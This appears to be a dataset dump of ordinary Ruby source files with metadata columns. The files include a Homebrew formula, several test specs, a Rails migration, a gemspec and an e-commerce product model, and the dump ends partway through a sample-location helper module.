hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
e812a2e64601eb1abf07c7818359ea002930c0e9
2,189
class Help2man < Formula desc "Automatically generate simple man pages" homepage "https://www.gnu.org/software/help2man/" url "https://ftp.gnu.org/gnu/help2man/help2man-1.48.3.tar.xz" mirror "https://ftpmirror.gnu.org/help2man/help2man-1.48.3.tar.xz" sha256 "8361ff3c643fbd391064e97e5f54592ca28b880eaffbf566a68e0ad800d1a8ac" license "GPL-3.0-or-later" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "245bca74657364e44328ea73adba991dc474575fb06e2d7a6265ebefebfc3d4f" sha256 cellar: :any, big_sur: "3427e6a3047c47d3fa9d82e84484c37670a6c4f535e9e5d43a722ca0099854a5" sha256 cellar: :any, catalina: "86c79d4bdae5e7ed98a3c7f12e03e8ae30441671f265039302d8e3bf99b9efa6" sha256 cellar: :any, mojave: "17a7fb449651786f446b6b4baa6a53a0b58ded567c83730b3e6fc2a86a4ff7ed" sha256 cellar: :any_skip_relocation, x86_64_linux: "f6d7f77427e5c2e5c2185ac56df4e04f05d8575a245e54de9ddfa558192bb2dc" end depends_on "gettext" if Hardware::CPU.intel? uses_from_macos "perl" resource "Locale::gettext" do url "https://cpan.metacpan.org/authors/id/P/PV/PVANDRY/gettext-1.07.tar.gz" sha256 "909d47954697e7c04218f972915b787bd1244d75e3bd01620bc167d5bbc49c15" end def install ENV.prepend_create_path "PERL5LIB", libexec/"lib/perl5" if Hardware::CPU.intel? resource("Locale::gettext").stage do system "perl", "Makefile.PL", "INSTALL_BASE=#{libexec}" system "make", "install" end end # install is not parallel safe # see https://github.com/Homebrew/homebrew/issues/12609 ENV.deparallelize args = [] args << "--enable-nls" if Hardware::CPU.intel? system "./configure", "--prefix=#{prefix}", *args system "make", "install" (libexec/"bin").install "#{bin}/help2man" (bin/"help2man").write_env_script("#{libexec}/bin/help2man", PERL5LIB: ENV["PERL5LIB"]) end test do out = if Hardware::CPU.intel? shell_output("#{bin}/help2man --locale=en_US.UTF-8 #{bin}/help2man") else shell_output("#{bin}/help2man #{bin}/help2man") end assert_match "help2man #{version}", out end end
37.101695
122
0.708543
e9518431b8bf89f422fd7b91852593e6376d9fd0
1,629
require 'fileutils' def spawn_peercast # 新品の設定ファイルを使う。 FileUtils.cp "peercast.ini.master", "peercast-yt/peercast.ini" # 起動。 if RUBY_PLATFORM =~ /msys/ cmdline = "./peercast.exe" else cmdline = "./peercast -i peercast.ini -P ." end Dir.chdir("peercast-yt") pid = spawn cmdline Dir.chdir("..") sleep 1.0 at_exit { Process.kill(9, pid) rescue nil } fail "peercast died immediately after spawn" if Process.wait(-1, Process::WNOHANG) != nil return pid end def assert_eq(expectation, actual, opts = {}) context = opts[:context] ? "(#{ opts[:context]})" : "" if expectation != actual fail "#{expectation.inspect} expected but got #{actual.inspect}#{context}" end end def assert(actual, opts = {}) context = opts[:context] ? "(#{ opts[:context]})" : "" unless actual fail "#{actual.inspect} is not true-ish#{context}" end end require 'net/http' require 'ostruct' def http_get(url) uri = URI(url) Net::HTTP.start(uri.host.gsub(/[\[\]]/,''), uri.port) do |http| path = if uri.path.empty? then "/" else uri.path end res = http.request_get(path) return OpenStruct.new(code: res.code.to_i, headers: res, body: res.body) end end def http_post(url, opts) data = opts[:body] || "" uri = URI(url) Net::HTTP.start(uri.host.gsub(/[\[\]]/,''), uri.port) do |http| path = if uri.path.empty? then "/" else uri.path end res = http.request_post(path, data) return OpenStruct.new(code: res.code.to_i, headers: res, body: res.body) end end
24.313433
91
0.600368
3369d1c85eab73f597e755ad7f4961e56051b4be
7,502
require File.dirname(__FILE__) + "/../../spec_helper" describe Radiant::ExtensionLoader do before :each do $LOAD_PATH.stub!(:unshift) @observer = mock("observer") @configuration = mock("configuration") @admin = mock("admin_ui") @initializer = mock("initializer") @initializer.stub!(:configuration).and_return(@configuration) @initializer.stub!(:admin).and_return(@admin) @instance = Radiant::ExtensionLoader.send(:new) @instance.initializer = @initializer @extensions = %w{01_basic 02_overriding load_order_blue load_order_green load_order_red} @extension_paths = @extensions.map do |ext| File.expand_path("#{RADIANT_ROOT}/test/fixtures/extensions/#{ext}") end Radiant::AdminUI.tabs.clear end it "should be a Simpleton" do Radiant::ExtensionLoader.included_modules.should include(Simpleton) end it "should have the initializer's configuration" do @initializer.should_receive(:configuration).and_return(@configuration) @instance.configuration.should == @configuration end it "should only load extensions specified in the configuration" do @configuration.should_receive(:extensions).at_least(:once).and_return([:basic]) @instance.stub!(:all_extension_roots).and_return(@extension_paths) @instance.send(:select_extension_roots).should == [File.expand_path("#{RADIANT_ROOT}/test/fixtures/extensions/01_basic")] end it "should select extensions in an explicit order from the configuration" do extensions = [:load_order_red, :load_order_blue, :load_order_green] extension_roots = extensions.map {|ext| File.expand_path("#{RADIANT_ROOT}/test/fixtures/extensions/#{ext}") } @instance.stub!(:all_extension_roots).and_return(@extension_paths) @configuration.should_receive(:extensions).at_least(:once).and_return(extensions) @instance.send(:select_extension_roots).should == extension_roots end it "should insert all unspecified extensions into the paths at position of :all in configuration" do extensions = [:load_order_red, :all, :load_order_green] extension_roots = @extension_paths[0..-2].unshift(@extension_paths[-1]) @instance.stub!(:all_extension_roots).and_return(@extension_paths) @configuration.should_receive(:extensions).at_least(:once).and_return(extensions) @instance.send(:select_extension_roots).should == extension_roots end it "should raise an error when an extension named in the configuration cannot be found" do extensions = [:foobar] @instance.stub!(:all_extension_roots).and_return(@extension_paths) @configuration.should_receive(:extensions).at_least(:once).and_return(extensions) lambda { @instance.send(:select_extension_roots) }.should raise_error(LoadError) end it "should determine load paths from an extension path" do @instance.send(:load_paths_for, "#{RADIANT_ROOT}/vendor/extensions/archive").should == %W{ #{RADIANT_ROOT}/vendor/extensions/archive/lib #{RADIANT_ROOT}/vendor/extensions/archive/app/models #{RADIANT_ROOT}/vendor/extensions/archive/test/helpers #{RADIANT_ROOT}/vendor/extensions/archive} end it "should have load paths" do @instance.stub!(:load_extension_roots).and_return(@extension_paths) @instance.should respond_to(:extension_load_paths) @instance.extension_load_paths.should be_instance_of(Array) @instance.extension_load_paths.all? {|f| File.directory?(f) }.should be_true end it "should have plugin paths" do @instance.stub!(:load_extension_roots).and_return(@extension_paths) @instance.should respond_to(:plugin_paths) @instance.plugin_paths.should be_instance_of(Array) @instance.plugin_paths.all? {|f| File.directory?(f) }.should be_true end it "should add extension paths to the configuration" do load_paths = [] @instance.should_receive(:extension_load_paths).and_return(@extension_paths) @configuration.should_receive(:load_paths).at_least(:once).and_return(load_paths) @instance.add_extension_paths load_paths.should == @extension_paths end it "should add plugin paths to the configuration" do plugin_paths = [] @instance.should_receive(:plugin_paths).and_return([@extension_paths.first + "/vendor/plugins"]) @configuration.should_receive(:plugin_paths).and_return(plugin_paths) @instance.add_plugin_paths plugin_paths.should == [@extension_paths.first + "/vendor/plugins"] end it "should add plugin paths in the same order as the extension load order" do plugin_paths = [] ext_plugin_paths = @extension_paths[0..1].map {|e| e + "/vendor/plugins" } @instance.should_receive(:load_extension_roots).and_return(@extension_paths) @configuration.should_receive(:plugin_paths).and_return(plugin_paths) @instance.add_plugin_paths plugin_paths.should == ext_plugin_paths end it "should have controller paths" do @instance.should respond_to(:controller_paths) @instance.controller_paths.should be_instance_of(Array) @instance.controller_paths.all? {|f| File.directory?(f) }.should be_true end it "should add controller paths to the configuration" do controller_paths = [] @instance.stub!(:extensions).and_return([BasicExtension]) @configuration.should_receive(:controller_paths).and_return(controller_paths) @instance.add_controller_paths controller_paths.should include(BasicExtension.root + "/app/controllers") end it "should have view paths" do @instance.should respond_to(:view_paths) @instance.view_paths.should be_instance_of(Array) @instance.view_paths.all? {|f| File.directory?(f) }.should be_true end it "should load and initialize extensions when discovering" do @instance.should_receive(:load_extension_roots).and_return(@extension_paths) @instance.load_extensions @extensions.each do |ext| ext_class = Object.const_get(ext.gsub(/^\d+_/, '').camelize + "Extension") ext_class.should_not be_nil ext_class.root.should_not be_nil end end it "should deactivate extensions" do extensions = [BasicExtension, OverridingExtension] @instance.extensions = extensions @instance.deactivate_extensions extensions.any?(&:active?).should be_false end it "should activate extensions" do @initializer.should_receive(:initialize_default_admin_tabs) @initializer.should_receive(:initialize_framework_views) @admin.should_receive(:load_default_regions) extensions = [BasicExtension, OverridingExtension] @instance.extensions = extensions @instance.activate_extensions extensions.all?(&:active?).should be_true end end describe Radiant::ExtensionLoader::DependenciesObserver do before :each do @config = mock("rails config") @observer = Radiant::ExtensionLoader::DependenciesObserver.new(@config) end it "should be a MethodObserver" do @observer.should be_kind_of(MethodObserver) end it "should attach to the clear method" do @observer.should respond_to(:before_clear) @observer.should respond_to(:after_clear) end it "should deactivate extensions before clear" do Radiant::ExtensionLoader.should_receive(:deactivate_extensions) @observer.before_clear end it "should load and activate extensions after clear" do Radiant::ExtensionLoader.should_receive(:load_extensions) Radiant::ExtensionLoader.should_receive(:activate_extensions) @observer.after_clear end end
40.994536
127
0.747267
38bea2ef83a7c592555493d39c47e91bc955fe93
2,448
require 'spec_helper' describe SolidusAvataxCertified::Address, :type => :model do let(:address){ build(:address) } let(:order) { build(:order_with_line_items, ship_address: address) } before do Spree::Avatax::Config.address_validation = true end let(:address_lines) { SolidusAvataxCertified::Address.new(order) } describe '#initialize' do it 'should have order' do expect(address_lines.order).to eq(order) end it 'should have addresses be a Hash' do expect(address_lines.addresses).to be_kind_of(Hash) end end describe '#build_addresses' do it 'receives origin_address' do expect(address_lines).to receive(:origin_address) address_lines.build_addresses end it 'receives order_ship_address' do expect(address_lines).to receive(:order_ship_address) address_lines.build_addresses end end describe '#origin_address' do it 'returns a hash with correct keys' do expect(address_lines.origin_address).to be_kind_of(Hash) expect(address_lines.origin_address[:line1]).to be_present end end describe '#order_ship_address' do it 'returns a Hash with correct keys' do expect(address_lines.order_ship_address).to be_kind_of(Hash) expect(address_lines.order_ship_address[:line1]).to be_present end end describe '#validate', :vcr do subject do VCR.use_cassette('address_validation_success', allow_playback_repeats: true) do address_lines.validate end end it "validates address with success" do expect(subject.success?).to be_truthy end it "does not validate when config settings are false" do Spree::Avatax::Config.address_validation = false expect(subject).to eq("Address validation disabled") end context 'error' do let(:order) { create(:order_with_line_items) } subject do VCR.use_cassette('address_validation_failure', allow_playback_repeats: true) do order.ship_address.update_attributes(city: nil, zipcode: nil) address_lines.validate end end it 'fails when information is incorrect' do expect(subject.error?).to be_truthy end it 'raises exception if preference is set to true' do Spree::Avatax::Config.raise_exceptions = true expect { subject }.to raise_exception(SolidusAvataxCertified::RequestError) end end end end
28.465116
87
0.699755
ac60a73e4e9ab888efea4bd655992b43c8208ef8
708
# frozen_string_literal: true require 'rails_helper' RSpec.describe User do let(:member) { users(:member) } let(:admin) { users(:admin) } context 'when users can be activated' do it 'defaults to activated' do expect(member).not_to be_deactivated expect(member).to be_activated end end context 'when users can be reactivated' do it 'can be reactivated' do member.activate expect(member).not_to be_deactivated expect(member).to be_activated end end context 'when users can be deactivated' do it 'can be deactivated' do member.deactivate expect(member).to be_deactivated expect(member).not_to be_activated end end end
22.125
44
0.690678
21ccf6cad659c19c4bf2e6baf2da9875014919d8
398
class CreateCodesTickets < ActiveRecord::Migration def self.up create_table :codes_tickets, id: false do |t| t.references :code t.references :ticket end add_index :codes_tickets, [:code_id, :ticket_id], :unique => true add_foreign_key :codes_tickets, :codes add_foreign_key :codes_tickets, :tickets end def self.down drop_table :codes_tickets end end
22.111111
69
0.708543
e968e76a5f12799ed0f3c69f27fedce58c831c85
2,684
require 'test_helper' require 'net/dns/packet' class PacketTest < Minitest::Test def setup @klass = Net::DNS::Packet @domain = 'example.com' end def test_initialize @record = @klass.new(@domain, Net::DNS::MX, Net::DNS::HS) assert_instance_of @klass, @record assert_instance_of Net::DNS::Header, @record.header assert_instance_of Array, @record.question assert_instance_of Net::DNS::Question, @record.question.first assert_instance_of Array, @record.answer assert_instance_of Array, @record.authority assert_instance_of Array, @record.additional end def test_initialize_should_set_question @question = @klass.new(@domain).question.first assert_equal @domain, @question.qName assert_equal Net::DNS::RR::Types.new(Net::DNS::A).to_s, @question.qType.to_s assert_equal Net::DNS::RR::Classes.new(Net::DNS::IN).to_s, @question.qClass.to_s @question = @klass.new(@domain, Net::DNS::MX, Net::DNS::HS).question.first assert_equal @domain, @question.qName assert_equal Net::DNS::RR::Types.new(Net::DNS::MX).to_s, @question.qType.to_s assert_equal Net::DNS::RR::Classes.new(Net::DNS::HS).to_s, @question.qClass.to_s end def test_self_parse packet = "\337M\201\200\000\001\000\003\000\004\000\004\006google\003com\000\000\001\000\001\300\f\000\001\000\001\000\000\001,\000\004@\351\273c\300\f\000\001\000\001\000\000\001,\000\004H\016\317c\300\f\000\001\000\001\000\000\001,\000\004@\351\247c\300\f\000\002\000\001\000\003\364\200\000\006\003ns1\300\f\300\f\000\002\000\001\000\003\364\200\000\006\003ns2\300\f\300\f\000\002\000\001\000\003\364\200\000\006\003ns3\300\f\300\f\000\002\000\001\000\003\364\200\000\006\003ns4\300\f\300X\000\001\000\001\000\003\307\273\000\004\330\357 \n\300j\000\001\000\001\000\003\307\273\000\004\330\357\"\n\300|\000\001\000\001\000\003\307\273\000\004\330\357$\n\300\216\000\001\000\001\000\003\307\273\000\004\330\357&\n" @record = @klass.parse(packet) assert_instance_of @klass, @record assert_instance_of Net::DNS::Header, @record.header assert_instance_of Array, @record.question assert_instance_of Net::DNS::Question, @record.question.first assert_instance_of Array, @record.answer assert_instance_of Net::DNS::RR::A, @record.answer.first assert_instance_of Array, @record.authority assert_instance_of Net::DNS::RR::NS, @record.authority.first assert_instance_of Array, @record.additional assert_instance_of Net::DNS::RR::A, @record.additional.first end end
55.916667
720
0.685917
9148b78c8ba13d1b55bbf6559c12c634a5a2e48e
4,608
#frozen_string_literal: false require 'test_helper' require 'stringio' require 'tempfile' class JSONCommonInterfaceTest < Test::Unit::TestCase include JSON def setup @hash = { 'a' => 2, 'b' => 3.141, 'c' => 'c', 'd' => [ 1, "b", 3.14 ], 'e' => { 'foo' => 'bar' }, 'g' => "\"\0\037", 'h' => 1000.0, 'i' => 0.001 } @json = '{"a":2,"b":3.141,"c":"c","d":[1,"b",3.14],"e":{"foo":"bar"},'\ '"g":"\\"\\u0000\\u001f","h":1000.0,"i":0.001}' end def test_index assert_equal @json, JSON[@hash] assert_equal @hash, JSON[@json] end def test_parser assert_match(/::Parser\z/, JSON.parser.name) end def test_generator assert_match(/::Generator\z/, JSON.generator.name) end def test_state assert_match(/::Generator::State\z/, JSON.state.name) end def test_create_id assert_equal 'json_class', JSON.create_id JSON.create_id = 'foo_bar' assert_equal 'foo_bar', JSON.create_id ensure JSON.create_id = 'json_class' end def test_deep_const_get assert_raise(ArgumentError) { JSON.deep_const_get('Nix::Da') } assert_equal File::SEPARATOR, JSON.deep_const_get('File::SEPARATOR') end def test_parse assert_equal [ 1, 2, 3, ], JSON.parse('[ 1, 2, 3 ]') end def test_parse_bang assert_equal [ 1, Infinity, 3, ], JSON.parse!('[ 1, Infinity, 3 ]') end def test_generate assert_equal '[1,2,3]', JSON.generate([ 1, 2, 3 ]) end def test_fast_generate assert_equal '[1,2,3]', JSON.generate([ 1, 2, 3 ]) end def test_pretty_generate assert_equal "[\n 1,\n 2,\n 3\n]", JSON.pretty_generate([ 1, 2, 3 ]) end def test_load assert_equal @hash, JSON.load(@json) tempfile = Tempfile.open('@json') tempfile.write @json tempfile.rewind assert_equal @hash, JSON.load(tempfile) stringio = StringIO.new(@json) stringio.rewind assert_equal @hash, JSON.load(stringio) assert_equal nil, JSON.load(nil) assert_equal nil, JSON.load('') ensure tempfile.close! end def test_load_with_options json = '{ "foo": NaN }' assert JSON.load(json, nil, :allow_nan => true)['foo'].nan? end def test_load_null assert_equal nil, JSON.load(nil, nil, :allow_blank => true) assert_raise(TypeError) { JSON.load(nil, nil, :allow_blank => false) } assert_raise(JSON::ParserError) { JSON.load('', nil, :allow_blank => false) } end def test_dump too_deep = '[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]' assert_equal too_deep, dump(eval(too_deep)) assert_kind_of String, Marshal.dump(eval(too_deep)) assert_raise(ArgumentError) { dump(eval(too_deep), 100) } assert_raise(ArgumentError) { Marshal.dump(eval(too_deep), 100) } assert_equal too_deep, dump(eval(too_deep), 101) assert_kind_of String, Marshal.dump(eval(too_deep), 101) output = StringIO.new dump(eval(too_deep), output) assert_equal too_deep, output.string output = StringIO.new dump(eval(too_deep), output, 101) assert_equal too_deep, output.string end def test_dump_should_modify_defaults max_nesting = JSON.dump_default_options[:max_nesting] dump([], StringIO.new, 10) assert_equal max_nesting, JSON.dump_default_options[:max_nesting] end def test_JSON assert_equal @json, JSON(@hash) assert_equal @hash, JSON(@json) end def test_load_file test_load_shared(:load_file) end def test_load_file! test_load_shared(:load_file!) end def test_load_file_with_option test_load_file_with_option_shared(:load_file) end def test_load_file_with_option! test_load_file_with_option_shared(:load_file!) end private def test_load_shared(method_name) temp_file_containing(@json) do |filespec| assert_equal JSON.public_send(method_name, filespec), @hash end end def test_load_file_with_option_shared(method_name) temp_file_containing(@json) do |filespec| parsed_object = JSON.public_send(method_name, filespec, symbolize_names: true) key_classes = parsed_object.keys.map(&:class) assert_include(key_classes, Symbol) assert_not_include(key_classes, String) end end def temp_file_containing(text, file_prefix = '') raise "This method must be called with a code block." unless block_given? Tempfile.create(file_prefix) do |file| file << text file.close yield file.path end end end
27.105882
219
0.639757
e2cba42351fe81cff0656da4c19b0f051fd6f327
2,737
RSpec.describe 'admin/groups/users', type: :view do context 'groups index page' do let(:group) { FactoryBot.create(:group) } let(:user_1) { FactoryBot.create(:user) } let(:user_2) { FactoryBot.create(:user) } let(:users) { double('users') } let(:path_parameters) do { controller: 'admin/group_users', action: 'index', group_id: group.id } end before do allow(controller).to receive(:params).and_return(path_parameters) # Mocking methods required by UrlFor in order to pass in a :group_id allow(controller.request).to receive(:params).and_return(path_parameters) allow(controller.request).to receive(:path_parameters).and_return(path_parameters) # Mocking users collection to provide methods for kaminari allow(users).to receive(:each).and_yield(user_1).and_yield(user_2) allow(users).to receive(:total_pages).and_return(1) allow(users).to receive(:current_page).and_return(1) allow(users).to receive(:limit_value).and_return(10) assign(:users, users) assign(:group, group) render end it 'has the "users" tab in an active state' do expect(rendered).to have_selector('.nav-tabs .active a', text: 'Users') end it 'has tabs for other actions on the group' do expect(rendered).to have_selector('.nav-tabs li a', text: 'Description') expect(rendered).to have_selector('.nav-tabs li a', text: 'Remove') end it 'has a user search control' do expect(rendered).to have_selector('form', class: 'js-group-user-search') expect(rendered).to have_selector('input', class: 'js-group-user-search__query') expect(rendered).to have_selector('input', class: 'js-group-user-search__submit') end it 'has an add user form' do expect(rendered).to have_selector('form', class: 'js-group-user-add') expect(rendered).to have_selector('input', class: 'js-group-user-add__id') expect(rendered).to have_selector('input', class: 'js-group-user-add__submit') end it 'has a member search control' do expect(rendered).to have_selector('input', class: 'list-scope__query') expect(rendered).to have_selector('input', class: 'list-scope__submit') end it 'has a pagination select control' do expect(rendered).to have_selector('form', class: 'js-per-page') expect(rendered).to have_selector('select', class: 'js-per-page__select') expect(rendered).to have_selector('input', class: 'js-per-page__submit') end it 'renders a list of members' do expect(rendered).to have_selector('td', text: user_1.name) expect(rendered).to have_selector('td', text: user_2.name) end end end
40.25
88
0.677384
7a5d691f880d3d9b0383f572248c347548d66e7c
1,106
# frozen_string_literal: true require_relative '../core/lib/spree/core/version.rb' Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'solidus_frontend' s.version = Spree.solidus_version s.summary = 'Cart and storefront for the Solidus e-commerce project.' s.description = s.summary s.author = 'Solidus Team' s.email = '[email protected]' s.homepage = 'http://solidus.io/' s.license = 'BSD-3-Clause' s.files = `git ls-files`.split("\n") s.require_path = 'lib' s.requirements << 'none' s.required_ruby_version = '>= 2.2.2' s.required_rubygems_version = '>= 1.8.23' s.add_dependency 'solidus_api', s.version s.add_dependency 'solidus_core', s.version s.add_dependency 'canonical-rails', '~> 0.2.0' s.add_dependency 'font-awesome-rails', '~> 4.0' s.add_dependency 'jquery-rails' s.add_dependency 'kaminari', '~> 1.1' s.add_dependency 'responders' s.add_dependency 'sassc-rails' s.add_dependency 'truncate_html', '~> 0.9', '>= 0.9.2' s.add_development_dependency 'capybara-accessible' end
29.891892
75
0.669982
bb7d271cf03c0e21684635c72d0e505b2f077966
1,306
motion_require 'version' module AFMotion class HTTP def self.operation_manager @operation_manager ||= begin manager = AFHTTPRequestOperationManager.manager configure_manager(manager) manager end end def self.configure_manager(manager) manager.http! end end class JSON < HTTP def self.configure_manager(manager) manager.json! manager.responseSerializer.readingOptions = NSJSONReadingMutableContainers end end class XML < HTTP def self.configure_manager(manager) manager.xml! end end class PLIST < HTTP def self.configure_manager(manager) manager.plist! end end class Image < HTTP def self.configure_manager(operation) operation.image! end end [HTTP, JSON, XML, PLIST, Image].each do |base| AFMotion::HTTP_METHODS.each do |method_name| method_signature = "#{method_name.to_s.upcase}:parameters:success:failure:" base.define_singleton_method(method_name, -> (url, parameters = nil, &callback) do base.operation_manager.send(method_signature, url, parameters, AFMotion::Operation.success_block_for_http_method(method_name, callback), AFMotion::Operation.failure_block(callback)) end) end end end
24.185185
88
0.688361
26026cace489831fe55c8fd03d93a9eb2c4c8f3a
2,676
# Copyright (c) 2005 Trevor Squires # Released under the MIT License. See the LICENSE file for more details. module ActiveRecord module VirtualEnumerations # :nodoc: class << self def define raise ArgumentError, "#{self.name}: must pass a block to define()" unless block_given? config = ActiveRecord::VirtualEnumerations::Config.new yield config @config = config # we only overwrite config if no exceptions were thrown end def synthesize_if_defined(const) options = @config[const] if @config return nil unless options class_def = <<-end_eval class #{const} < #{options[:extends]} acts_as_enumerated :conditions => #{options[:conditions].inspect}, :order => #{options[:order].inspect}, :on_lookup_failure => #{options[:on_lookup_failure].inspect} set_table_name(#{options[:table_name].inspect}) unless #{options[:table_name].nil?} end end_eval eval(class_def, TOPLEVEL_BINDING) rval = const_get(const) if options[:post_synth_block] rval.class_eval(&options[:post_synth_block]) end return rval end end class Config def initialize @enumeration_defs = {} end def define(arg, options = {}, &synth_block) (arg.is_a?(Array) ? arg : [arg]).each do |class_name| camel_name = class_name.to_s.camelize raise ArgumentError, "ActiveRecord::VirtualEnumerations.define - invalid class_name argument (#{class_name.inspect})" if camel_name.blank? raise ArgumentError, "ActiveRecord::VirtualEnumerations.define - class_name already defined (#{camel_name})" if @enumeration_defs[camel_name.to_sym] options.assert_valid_keys(:table_name, :extends, :conditions, :order, :on_lookup_failure) enum_def = options.clone enum_def[:extends] ||= "ActiveRecord::Base" enum_def[:post_synth_block] = synth_block @enumeration_defs[camel_name.to_sym] = enum_def end end def [](arg) @enumeration_defs[arg] end end #class Config end #module VirtualEnumerations end #module ActiveRecord class Module # :nodoc: alias_method :enumerations_original_const_missing, :const_missing unless method_defined?(:enumerations_original_const_missing) def const_missing(const_id) # let rails have a go at loading it enumerations_original_const_missing(const_id) rescue NameError # now it's our turn ActiveRecord::VirtualEnumerations.synthesize_if_defined(const_id) or raise end end
38.782609
158
0.66293
91f0000ad11ddd91382b70f677bbed6c951ab4a4
7,416
require "roo" require "globalize" module Shoppe class Product < ActiveRecord::Base self.table_name = 'shoppe_products' # Add dependencies for products require_dependency 'shoppe/product/product_attributes' require_dependency 'shoppe/product/variants' # Attachments for this product has_many :attachments, :as => :parent, :dependent => :destroy, :autosave => true, :class_name => "Shoppe::Attachment" # The product's categorizations # # @return [Shoppe::ProductCategorization] has_many :product_categorizations, dependent: :destroy, class_name: 'Shoppe::ProductCategorization', inverse_of: :product # The product's categories # # @return [Shoppe::ProductCategory] has_many :product_categories, class_name: 'Shoppe::ProductCategory', through: :product_categorizations # The product's tax rate # # @return [Shoppe::TaxRate] belongs_to :tax_rate, :class_name => "Shoppe::TaxRate" # Ordered items which are associated with this product has_many :order_items, :dependent => :restrict_with_exception, :class_name => 'Shoppe::OrderItem', :as => :ordered_item # Orders which have ordered this product has_many :orders, :through => :order_items, :class_name => 'Shoppe::Order' # Stock level adjustments for this product has_many :stock_level_adjustments, :dependent => :destroy, :class_name => 'Shoppe::StockLevelAdjustment', :as => :item # Validations with_options :if => Proc.new { |p| p.parent.nil? } do |product| product.validate :has_at_least_one_product_category product.validates :description, :presence => true product.validates :short_description, :presence => true end validates :name, :presence => true validates :permalink, :presence => true, :uniqueness => true, :permalink => true validates :sku, :presence => true validates :weight, :numericality => true validates :price, :numericality => true validates :cost_price, :numericality => true, :allow_blank => true # Before validation, set the permalink if we don't already have one before_validation { self.permalink = self.name.parameterize if self.permalink.blank? && self.name.is_a?(String) } # All active products scope :active, -> { where(:active => true) } # All featured products scope :featured, -> {where(:featured => true)} # Localisations translates :name, :permalink, :description, :short_description scope :ordered, -> { includes(:translations).order(:name) } def attachments=(attrs) if attrs["default_image"]["file"].present? then self.attachments.build(attrs["default_image"]) end if attrs["data_sheet"]["file"].present? then self.attachments.build(attrs["data_sheet"]) end if attrs["extra"]["file"].present? then attrs["extra"]["file"].each { |attr| self.attachments.build(file: attr, parent_id: attrs["extra"]["parent_id"], parent_type: attrs["extra"]["parent_type"]) } end end # Return the name of the product # # @return [String] def full_name self.parent ? "#{self.parent.name} (#{name})" : name end # Is this product orderable? # # @return [Boolean] def orderable? return false unless self.active? return false if self.has_variants? true end # The price for the product # # @return [BigDecimal] def price # self.default_variant ? self.default_variant.price : read_attribute(:price) self.default_variant ? self.default_variant.price : read_attribute(:price) end # Is this product currently in stock? # # @return [Boolean] def in_stock? self.default_variant ? self.default_variant.in_stock? : (stock_control? ? stock > 0 : true) end # Return the total number of items currently in stock # # @return [Fixnum] def stock self.stock_level_adjustments.sum(:adjustment) end # Return the first product category # # @return [Shoppe::ProductCategory] def product_category self.product_categories.first rescue nil end # Return attachment for the default_image role # # @return [String] def default_image self.attachments.for("default_image") end # Set attachment for the default_image role def default_image_file=(file) self.attachments.build(:file => file, :role => 'default_image') end # Return attachment for the data_sheet role # # @return [String] def data_sheet self.attachments.for("data_sheet") end # Search for products which include the given attributes and return an active record # scope of these products. Chainable with other scopes and with_attributes methods. # For example: # # Shoppe::Product.active.with_attribute('Manufacturer', 'Apple').with_attribute('Model', ['Macbook', 'iPhone']) # # @return [Enumerable] def self.with_attributes(key, values) product_ids = Shoppe::ProductAttribute.searchable.where(:key => key, :value => values).pluck(:product_id).uniq where(:id => product_ids) end # Imports products from a spreadsheet file # Example: # # Shoppe:Product.import("path/to/file.csv") def self.import(file) spreadsheet = open_spreadsheet(file) spreadsheet.default_sheet = spreadsheet.sheets.first header = spreadsheet.row(1) (2..spreadsheet.last_row).each do |i| row = Hash[[header, spreadsheet.row(i)].transpose] # Don't import products where the name is blank unless row["name"].nil? if product = where(name: row["name"]).take # Dont import products with the same name but update quantities qty = row["qty"].to_i if qty > 0 product.stock_level_adjustments.create!(description: I18n.t('shoppe.import'), adjustment: qty) end else product = new product.name = row["name"] product.sku = row["sku"] product.description = row["description"] product.short_description = row["short_description"] product.weight = row["weight"] product.price = row["price"].nil? ? 0 : row["price"] product.permalink = row["permalink"] product.product_categories << begin if Shoppe::ProductCategory.where(name: row["category_name"]).present? Shoppe::ProductCategory.where(name: row["category_name"]).take else Shoppe::ProductCategory.create(name: row["category_name"]) end end product.save! qty = row["qty"].to_i if qty > 0 product.stock_level_adjustments.create!(description: I18n.t('shoppe.import'), adjustment: qty) end end end end end def self.open_spreadsheet(file) case File.extname(file.original_filename) when ".csv" then Roo::CSV.new(file.path) when ".xls" then Roo::Excel.new(file.path) when ".xlsx" then Roo::Excelx.new(file.path) else raise I18n.t('shoppe.imports.errors.unknown_format', filename: File.original_filename) end end private # Validates def has_at_least_one_product_category errors.add(:base, 'must add at least one product category') if self.product_categories.blank? end end end
34.493023
207
0.654666
1881d357ccb28339198eb40c078bc7141c782508
453
# coding: UTF-8 module MarkdownUI module Button module Group module Buttons class Custom def initialize(element, content) @element = element @content = content end def render klass = "ui #{@element} buttons" content = @content.strip MarkdownUI::StandardTag.new(content, klass).render end end end end end end
18.875
62
0.529801
01f09bc9af37f5dbdcbf4f4153a0d326f45c6a72
2,571
# frozen_string_literal: true # Cannon Mallory # [email protected] # # Methods to facilitate sample management within collections module CollectionLocation ALPHA26 = ('A'...'Z').to_a # Gets the location string of a sample in a collection # # @param collection [Collection] the collection containing the sample # @param sample [Sample] the Sample that you want to locate # @return [Hash{sample: location}] the Alpha Numeric location(s) e.g. A1, A2 def get_alpha_num_location(collection, items) items = [items] unless items.is_a?(Array) hash_of_samples = {} items.each do |sample| coordinates = collection.find(sample) alpha_num_locations = [] coordinates.each do |coordinate_set| alpha_num_locations << convert_coordinates_to_location(coordinate_set) end locations.join(',') hash_of_samples[sample] = locations end hash_of_samples end # Converts an array of coordinates to alpha numerical locations # # @param coordinates [Array<row,column>] set of coordinates # @return [String] alpha numerical location def convert_coordinates_to_location(coordinates) ALPHA26[coordinates[0]] + (coordinates[1] + 1).to_s end # Converts alpha numerical location to an Array of coordinates # # @param alpha [String] alpha numerical location # @return [Array<r,c>] array of row and column def convert_location_to_coordinates(alpha) alpha_characters = '' alpha.length.times do |idx| char = alpha[idx, idx+1] alpha_characters += char unless float(char).nil? end row = ALPHA26.find_index(alpha_characters) column = alpha[1..-1].to_i - 1 